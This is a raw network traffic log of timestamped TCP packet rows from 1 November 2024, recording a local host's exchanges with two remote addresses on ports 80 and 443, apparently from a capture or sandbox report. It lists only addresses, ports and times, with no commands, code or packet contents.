Nov 1, 2024 12:35:02.337153912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.337157965 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.337167025 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.337179899 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.337199926 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.337210894 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338586092 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338598967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338613987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338635921 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338638067 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338649988 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338655949 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338664055 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338675022 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338677883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338700056 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338725090 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338779926 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338793039 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338804007 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.338818073 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338830948 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.338844061 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.339356899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.339369059 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.339380026 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.339401960 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.339416027 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.340152025 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.340164900 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.340178013 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.340228081 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.340228081 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.340228081 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.340661049 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.340673923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.340734959 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.340734959 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.360040903 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.360074997 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:02.360161066 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.360491037 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.360502958 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:02.387888908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.387903929 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.387917042 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.387999058 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.387999058 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.388061047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.388073921 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.388086081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.388098001 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.388109922 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.388134956 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.388309002 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.388320923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.388330936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.388351917 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.388379097 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.412816048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.412827015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.412838936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.412864923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.412875891 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.412887096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.412895918 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.412899971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.412935019 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.412947893 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.413108110 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.413153887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.461715937 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.461729050 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.461739063 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.461910963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462008953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462019920 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462032080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462054014 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462055922 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462090015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462217093 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462301016 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462582111 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462625980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462632895 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462641954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462663889 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462676048 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462718010 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462730885 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462740898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462754965 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.462762117 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462769985 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.462802887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.463057995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.463107109 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.463115931 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.463150978 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.463191032 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.463202953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.463212967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.463226080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.463234901 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.463239908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.463263988 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.463273048 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.464013100 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.464025021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.464035034 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.464057922 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.464073896 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.464078903 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.464087009 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.464099884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.464109898 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.464118958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.464138031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.469990969 CET	80	50048	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.470046997 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.472825050 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.478621960 CET	80	50048	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511447906 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511461020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511471987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511537075 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.511684895 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511701107 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511712074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511725903 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511734009 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.511739969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511754990 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511761904 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.511765957 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.511790037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.511801004 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.536824942 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.536911011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.536931992 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.536937952 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.536952972 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.536955118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.536974907 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.536994934 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.537069082 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.537113905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.537144899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.537157059 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.537184954 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.537201881 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.537230015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.537241936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.537256002 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.537261009 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.537275076 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.537290096 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.586071014 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586096048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586107016 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586205959 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.586224079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586235046 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586245060 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586258888 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586268902 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.586287975 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.586313009 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.586491108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586502075 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.586534023 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.587141991 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587152958 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587163925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587183952 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.587213039 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.587225914 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587239981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587253094 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587266922 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.587269068 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587282896 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.587289095 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.587318897 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.588339090 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588351965 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588362932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588376999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588388920 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.588390112 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588407040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588408947 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.588421106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588430882 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.588459015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.588608027 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588619947 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588632107 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.588650942 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.588668108 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.634876013 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.634890079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.634902000 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.634933949 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.634948015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.634952068 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.634984016 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.634999037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.635044098 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.635056973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.635081053 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.635106087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.635859966 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.635873079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.635884047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.635911942 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.635941029 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660094976 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660115004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660125971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660157919 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660182953 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660573959 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660612106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660650969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660662889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660687923 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660700083 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660886049 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660898924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660911083 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660922050 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660926104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.660937071 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660950899 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.660968065 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.661189079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.661201000 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.661212921 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.661225080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.661230087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.661262035 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.711529016 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.711594105 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.711822987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.711836100 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.711870909 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.711880922 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.711894035 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.711895943 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.711909056 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.711911917 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.711932898 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.711947918 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712018967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712032080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712043047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712057114 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712079048 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712101936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712140083 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712199926 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712213039 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712223053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712238073 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712238073 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712249994 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712253094 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712268114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712290049 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712313890 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712388992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712429047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712794065 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712846041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712846041 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712858915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712884903 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712893963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712903023 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712923050 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712938070 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.712944984 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712969065 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.712969065 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.713239908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.713289976 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.713323116 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.713334084 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.713359118 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.713368893 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.759330988 CET	80	50048	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.759382963 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.761467934 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.761478901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.761492968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.761504889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.761513948 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.761522055 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.761565924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.762840033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.762851954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.762866020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.762880087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.762892962 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.762892962 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.762893915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.762919903 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.762933016 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788139105 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788151979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788163900 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788175106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788187027 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788193941 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788197994 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788218021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788228989 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788232088 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788240910 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788244009 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788265944 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788284063 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788284063 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788297892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788311958 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788321018 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788336039 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788356066 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788497925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788510084 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788520098 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.788548946 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.788563013 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836064100 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836078882 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836100101 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836117983 CET	80	50043	185.215.113.16	192.168.2.7
